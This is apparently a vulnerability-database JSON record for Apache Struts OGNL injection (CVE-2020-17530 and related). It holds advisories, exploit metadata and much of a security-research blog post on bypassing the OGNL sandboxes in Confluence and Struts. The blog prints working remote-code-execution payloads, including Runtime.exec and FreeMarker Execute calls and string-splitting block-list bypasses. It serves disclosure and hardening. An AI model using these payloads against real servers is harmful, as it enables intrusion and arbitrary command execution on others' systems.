"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-18T07:03:57", "type": "githubexploit", "title": "Exploit for Expression Language Injection in Apache Struts", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2020-12-18T07:05:31", "id": "B2E1F725-D74D-5E81-88CC-6530BC9BAB30", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-02-01T00:00:00", "description": "# CVE-2020-17530-s2-061\n> s2-061\u56fe\u5f62\u5316\u754c\u9762\u7684exp\uff0con...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-01-24T07:51:31", "type": "githubexploit", "title": "Exploit for Expression Language Injection in Apache Struts", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2021-01-24T08:15:39", "id": "BC46DAAE-9274-500B-A6A2-DB7DA8EAF068", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-17T17:39:02", "description": "# CVE-2020-17530\n\ns2-061\n\npoc:\n\n`\n%{(#instancemanager=#applicati...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-09T09:53:08", "type": "githubexploit", "title": "Exploit for Expression Language Injection in Apache Struts", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-04-15T01:43:32", "id": "3640EAF9-330F-508E-A488-D3A51649AD96", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-03-19T20:44:05", "description": "# CVE-2020-17530\nApache Struts2\u6846\u67b6\u662f\u4e00\u4e2a\u7528\u4e8e\u5f00\u53d1Java EE\u7f51\u7edc\u5e94\u7528\u7a0b\u5e8f\u7684Web\u6846\u67b6\u3002Apac...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-08T11:10:46", "type": "githubexploit", "title": "Exploit for Expression Language Injection in Apache Struts", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", 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"2023-01-30T21:21:15", "id": "CONFSERVER-60264", "href": "https://jira.atlassian.com/browse/CONFSERVER-60264", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-08-21T03:44:55", "description": "h3. Issue Summary\r\nRecently, Apache released the following report regarding two different vulnerabilities in Struts 2:\r\n\r\n[|https://struts.apache.org/announce.html#a20200813]\r\n\r\nIs Confluence affected by these CVEs?\r\n\r\nh3. Steps to Reproduce\r\n Not applicable.\r\n\r\nh3. Expected Results\r\n Not applicable\r\n\r\nh3. Actual Results\r\n Not applicable\r\n\r\nh3. Workaround\r\n Not applicable\r\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-08-18T13:48:36", "type": "atlassian", "title": "Struts 2 CVE-2019-0230 and CVE-2019-0233 impact on Confluence", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0233", "CVE-2019-0230"], "modified": "2020-08-21T00:02:20", "id": "ATLASSIAN:CONFSERVER-60189", "href": "https://jira.atlassian.com/browse/CONFSERVER-60189", "cvss": {"score": 0.0, "vector": "NONE"}}], "prion": [{"lastseen": "2023-11-22T01:25:06", "description": "Forced OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution. Affected software : Apache Struts 2.0.0 - Struts 2.5.25.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-11T02:15:00", "type": "prion", "title": "Remote code execution", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-06-03T16:38:00", "id": "PRION:CVE-2020-17530", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2020-17530", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T01:50:54", "description": "Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.", "cvss3": {"cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}}, "published": "2020-09-14T17:15:00", "type": "prion", "title": "Remote code execution", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2022-12-02T19:47:00", "id": "PRION:CVE-2019-0230", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-0230", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T00:49:51", "description": "The fix issued for CVE-2020-17530 was incomplete. So from Apache Struts 2.0.0 to 2.5.29, still some of the tag\u2019s attributes could perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax. Using forced OGNL evaluation on untrusted user input can lead to a Remote Code Execution and security degradation.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-12T16:15:00", "type": "prion", "title": "Remote code execution", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530", "CVE-2021-31805"], "modified": "2022-07-25T18:15:00", "id": "PRION:CVE-2021-31805", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2021-31805", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "github": [{"lastseen": "2023-12-06T17:29:00", "description": "Forced OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-09T22:51:56", "type": "github", "title": "Remote code execution in Apache Struts", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2023-02-01T05:05:23", "id": "GHSA-JC35-Q369-45PV", "href": "https://github.com/advisories/GHSA-jc35-q369-45pv", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-07T17:29:47", "description": "Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-12-02T14:50:51", "type": "github", "title": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Struts", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2023-01-27T05:08:30", "id": "GHSA-WP4H-PVGW-5727", "href": "https://github.com/advisories/GHSA-wp4h-pvgw-5727", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T17:28:45", "description": "The fix issued for CVE-2020-17530 was incomplete. So from Apache Struts 2.0.0 to 2.5.29, still some of the tag\u2019s attributes could perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax. Using forced OGNL evaluation on untrusted user input can lead to a Remote Code Execution and security degradation.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-13T00:00:30", "type": "github", "title": "Expression Language Injection in Apache Struts", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530", "CVE-2021-31805"], "modified": "2023-01-27T05:03:07", "id": "GHSA-V8J6-6C2R-R27C", "href": "https://github.com/advisories/GHSA-v8j6-6c2r-r27c", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-27T17:06:16", "description": "## Overview[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#overview>)\n\nObject Graph Notation Language (OGNL) is a popular, Java-based, expression language used in popular frameworks and applications, such as Apache Struts and Atlassian Confluence. In the past, OGNL injections led to some serious remote code execution (RCE) vulnerabilities, such as the [Equifax breach](<https://www.synopsys.com/blogs/software-security/equifax-apache-struts-vulnerability-cve-2017-5638/>), and over the years, protection mechanisms and mitigations against OGNL injections have been developed and improved to limit the impact of these vulnerabilities.\n\nIn this blog post, I will describe how I was able to bypass certain OGNL injection protection mechanisms, including the one used by Struts and the one used by Atlassian Confluence. The purpose of this blog post is to share different approaches used when analyzing this kind of protection so they can be used to harden similar systems.\n\nNo new OGNL injections are being reported as part of this research, and unless future OGNL injections are found on the affected frameworks/applications, or known double evaluations affect an existing Struts application, this research does not constitute any immediate risk for Apache Struts or Atlassian Confluence.\n\n## Hello OGNL, my old friend[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#hello-ognl-my-old-friend>)\n\nI have a past history of bugs found in Struts framework, including [CVE-2016-3087](<https://cwiki.apache.org/confluence/display/WW/S2-033>), [CVE-2016-4436](<https://cwiki.apache.org/confluence/display/WW/S2-035>), [CVE-2017-5638](<https://cwiki.apache.org/confluence/display/WW/S2-046>), [CVE-2018-1327](<https://cwiki.apache.org/confluence/display/WW/S2-056>), [CVE-2020-17530](<https://cwiki.apache.org/confluence/display/WW/S2-061>) and even some [double OGNL injections](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>) through both Velocity and FreeMarker tags that remain unfixed to this date. Therefore, I have become familiar with the OGNL sandbox and different escapes over the years and I am still interested in any OGNL-related vulnerabilities that may appear. That was the case with Atlassian Confluence, [CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>) and [CVE-2022-26134](<https://jira.atlassian.com/browse/CONFSERVER-79016>), where the former is an instance of the unresolved double evaluation via Velocity tags mentioned in my [2020 advisory](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>).\n\nMy friend, Man Yue Mo, wrote a [great article](<https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/>) describing how the OGNL mitigations have been evolving over the years and there are few other posts that also describe in detail how these mitigations have been improving.\n\nIn 2020, disabling the sandbox became harder, so I decided to change the approach completely. I introduced new ways to get RCE by circumventing the sandbox, and using the application server\u2019s Instance Manager to instantiate arbitrary objects that I could use to achieve RCE. This research was presented at our Black Hat 2020 talk, [Scribbling outside of template security](<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>). We reported this issue to the Apache Struts team, and they [fixed](<https://github.com/apache/struts/commit/8d3393f09a06ff4a2b6827b6544524d1d6af3c7c>) the issue by using a block list. However, in 2021, Chris McCown published a [new bypass technique](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>) which leverages the OGNL\u2019s AST maps and the Apache Commons Collections BeanMap class.\n\nThat was it\u2013at that point I had enough of OGNL and stopped looking into it until two events happened in the same week:\n\n * My friend, [Mert](<https://twitter.com/mertistaken>), found what he thought was an SSTI in a bug bounty program. It turned out to be an OGNL injection, so he asked me to help him with the exploitation of the issue.\n * I read several tweets claiming that [CVE-2022-26134](<https://jira.atlassian.com/browse/CONFSERVER-79016>) was not vulnerable to RCE on the latest Confluence version (7.18.0 at that time).\n\nOkay, OGNL, my old friend. Here we go again.\n\n## Looking at Confluence `isSafeExpression` protection[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#looking-at-confluence-issafeexpression-protection>)\n\nWhen the CVE-2022-26134 was released there was an initial understanding that the [OGNL injection could not lead to direct RCE in the latest version 7.18.0](<https://twitter.com/httpvoid0x2f/status/1532924239216627712>) since the `isSafeExpression` method was not possible to bypass for that version\n\n\n\nHarsh Jaiswal ([@rootxharsh](<https://twitter.com/rootxharsh>)) and Rahul Maini ([@iamnoooob](<https://twitter.com/iamnoooob>)) took a different approach and looked for a gadget chain in the allowed classes list that could allow them to create an admin account.\n\n\n\nSoon after, [@MCKSysAr](<https://twitter.com/MCKSysAr>) found a [nice and simple bypass](<https://twitter.com/MCKSysAr/status/1533053536430350337>):\n\n 1. Use `Class` property instead of `class` one.\n 2. Use string concatenation to bypass string checks.\n\n \n \n\n\nMCKSysAr\u2019s bypass was soon addressed by blocking the access to the `Class` and `ClassLoader` properties. I had some other ideas, so I decided to take a look at the `isSafeExpression` implementation.\n\nThe first interesting thing I learned was that this method was actually parsing the OGNL expression into its AST form in order to analyze what it does and decide whether it should be allowed to be executed or not. Bye-bye to regexp-based bypasses.\n\nThen the main logic to inspect the parsed tree was the following:\n\n * Starting at the root node of the AST tree, recursively call `containsUnsafeExpression()` on each node of the tree.\n * If the node is an instance of `ASTStaticField`, `ASTCtor` or `ASTAssign` then the expression is deemed to be unsafe. This will prevent payloads using the following vectors: \n * Static field accesses\n * Constructors calls\n * Variable assignments\n * If the node is an `ASTStaticMethod` check that the class the method belongs to is in an allow list containing: \n * `net.sf.hibernate.proxy.HibernateProxy`\n * `java.lang.reflect.Proxy`\n * `net.java.ao.EntityProxyAccessor`\n * `net.java.ao.RawEntity`\n * `net.sf.cglib.proxy.Factory`\n * `java.io.ObjectInputValidation`\n * `net.java.ao.Entity`\n * `com.atlassian.confluence.util.GeneralUtil`\n * `java.io.Serializable`\n * If node is an `ASTProperty` checks block list containing (after the initial fix): \n * `class`\n * `Class`\n * `classLoader`\n * `ClassLoader`\n * If the property looks like a class name, check if the class's namespace is defined in the `unsafePackageNames` block list (too long to list here).\n * If node is an `ASTMethod`, check if we are calling `getClass` or `getClassLoader`.\n * If node is an `ASTVarRef`, check if the variable name is in `UNSAFE_VARIABLE_NAMES` block list: \n * `#application`\n * `#parameters`\n * `#request`\n * `#session`\n * `#_memberAccess`\n * `#context`\n * `#attr`\n * If node in an `ASTConst` (eg: a string literal), call `isSafeExpressionInternal` which will check the string against a block list (for example, harmful class names) and, in addition, it will parse the string literal as an OGNL expression and apply the `containsUnsafeExpression()` recursive checks on it.\n * If a node has children, repeat the process for the children.\n\nThis is a pretty comprehensive control since it parses the AST recursively and makes sure that any AST nodes considered harmful are either rejected or inspected further.\n\nMCKSysAr bypass was based on two things: A) `Class` and `ClassLoader` properties were not accounted for when inspecting `ASTProperty` nodes; and B) `\u201djava.lang.\u201d + \u201cRuntime\u201d` was parsed as an `ASTAdd` node with two `ASTConst` children. None of them matched any of the known harmful strings and when parsed as an OGNL expression, none of them were valid expressions so they were not parsed further. A) Was fixed quickly by disallowing access to `Class` and `ClassLoader` properties, but B) was not fixed since it was considered as a security in-depth control (it's impossible to analyze all variants in which a malicious string could be written).\n\nWith that in mind I took a look at the[ list of the OGNL AST nodes](<https://github.com/orphan-oss/ognl/tree/master/src/main/java/ognl>) to see if there was anything interesting that was not accounted for in the `isSafeExpression()` method.\n\n### Enter `ASTEval`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#enter-asteval>)\n\nThe first one that got my attention was `ASTEval`. It looked very interesting and it was not accounted for by the `containsUnsafeExpression()` method.\n\n`ASTEval` are nodes in the form of `(expr)(root)` and they will parse the `expr` string into a new AST and evaluate it with `root` as its root node. This will allow us to provide an OGNL expression in the form of a string `(ASTConst)` and evaluate it! We know that `ASTConst` nodes are parsed as OGNL expressions and verified to not be harmful. However, we already saw that if we split the string literal in multiple parts, only the individual parts will be checked and not the result of the concatenation. For example, for the payload below `#application` will never get checked, only `#` and `application` which are deemed to be safe:\n\n \n \n\n\nAs you can see in the resulting tree, there are no hints of any `ASTVarRef` node and therefore access to `#application` is granted.\n\n### Weaponizing `ASTEval`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#weaponizing-asteval>)\n\nThere are multiple ways to craft a payload levering this vector. For example, we could get arbitrary RCE with echoed response:\n \n \n ('(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@get'+'Runtime().exec(\"id\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))')('')\n \n \n\n\n\n### Enter `ASTMap`, `ASTChain` and `ASTSequence`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#enter-astmap-astchain-and-astsequence>)\n\nI was already familiar with `ASTMap`s from reading [Mc0wn's great article](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>). In a nutshell, OGNL allows developers to instantiate any `java.util.Map` implementation by using the `@<class_name>@{}` syntax.\n\nUsing this technique, we were able to use a `BeanMap` (a map wrapping a Java bean and exposing its getters and setters as map entries) to bypass the `getClass` limitation by rewriting the payload as:\n \n \n \n BeanMap map = @org.apache.commons.beanutils.BeanMap@{};\n \n map.setBean(\u201c\u201d)\n \n map.get(\u201cclass\u201d).forName(\u201djavax.script.ScriptEngineManager\u201d).newInstance().getEngineByName(\u201cjs\u201d).eval(payload)\n \n \n\nThis payload avoids calling the `BeanMap` constructor explicitly and, therefore, gets rid of the `ASTCtor` limitation. In addition, it allows us to call `Object.getClass()` implicitly by accessing the `class` item. However, we still have another problem: we need to be able to assign the map to a variable (`map`) so we can call the `setBean()` method on it and later call the `get()` method on the same map. Since `ASTAssign` was blocked, assignments were not an option. Fortunately, looking through the list of AST nodes, two more nodes got my attention: `ASTChain` and `ASTSequence`.\n\n * `ASTChain` allows us to pass the result of one evaluation as the root node of the next evaluation. For example: `(one).(two)` will evaluate `one` and use its result as the root for the evaluation of `two`.\n * `ASTSequence` allows us to run several evaluations on the same root object in sequence. For example: `one, two` will evaluate `one` and then `two` using the same root node.\n\nThe idea was to bypass `ASTAssign` constraint by combining `ASTChain` and `ASTSequence` together\n\nWe can set the map returned by the `ASTMap` expression as the root for a sequence of expressions so all of them will have the map as its root object:\n \n \n \n (#@BeanMap@{}).(expression1, expression2)\n \n \n\nIn our case, `expression1` is the call to `setBean()` and `expression2` is the call to `get()`.\n\nTaking that into account and splitting literal strings into multiple parts to bypass the block list we got the following payload:\n \n \n \n (#@org.apache.commons.beanutils.BeanMap@{}).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))\n \n \n\nThe final AST tree bypassing all `isSafeExpression` checks is:\n\n \n \n\n\nThere was a final problem to solve. The OGNL injection sink was `translateVariable()` which resolves OGNL expressions wrapped in `${expressions}` delimiters. Therefore, our payload was not allowed to contain any curly brackets. Fortunately, for us, [OGNL will replace unicode escapes](<https://github.com/apache/commons-ognl/blob/master/src/main/jjtree/ognl.jjt#L36-L37>) for us so we were able to use the final payload:\n \n \n \n (#@org.apache.commons.beanutils.BeanMap@\\\\u007b\\\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))\n \n \n\nI submitted these bypasses to Atlassian through its bug bounty program and, even though I was not reporting any new OGNL injections but a bypass of its sandbox, they were kind enough to award me with a $3,600 bounty!\n\n## Looking into Struts2[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#looking-into-struts2>)\n\nAs mentioned before, a friend found what he thought was a Server-Side Template Injection (SSTI) (`%{7*7}` => 49) but it turned out to be an OGNL injection. Since this happened as part of a bug bounty program, I didn\u2019t have access to the source code. I can't be sure if the developers were passing untrusted data to an OGNL sink (for example, `[ActionSupport.getText()](<https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ActionSupport.html#getText-java.lang.String->)`), or if it was some of the [unfixed double evaluations issues](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>) (still working at the time of writing). Anyhow, the application seemed to be using the latest Struts version and known payloads were not working. I decided to take a deeper look.\n\n### New gadgets on the block[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#new-gadgets-on-the-block>)\n\nWhen I listed what objects were available I was surprised to find that many of the usual objects in the Struts OGNL context, such as the value stack, were not there, and some others I haven't seen before were available. One of such objects was `#request[\u2018.freemarker.TemplateModel\u2019]`. This object turned out to be an instance of `org.apache.struts2.views.freemarker.ScopesHashModel` containing a variety of new objects. One of them (stored under the `ognl` key) gave me access to an `org.apache.struts2.views.jsp.ui.OgnlTool` instance. Looking at the code for this class I quickly spotted that it was calling `Ognl.getValue()`. This class is not part of Struts, but the OGNL library and, therefore, the Struts sandbox (member access policy) was not enabled! In order to exploit it I used the following payload:\n \n \n \n #request[\u2018.freemarker.TemplateModel\u2019].get(\u2018ognl\u2019).getWrappedObject().findValue(\u2018(new freemarker.template.utility.Execute()).exec({\u201cwhoami\u201d})\u2019, {})\n \n \n\nThat was enough to get 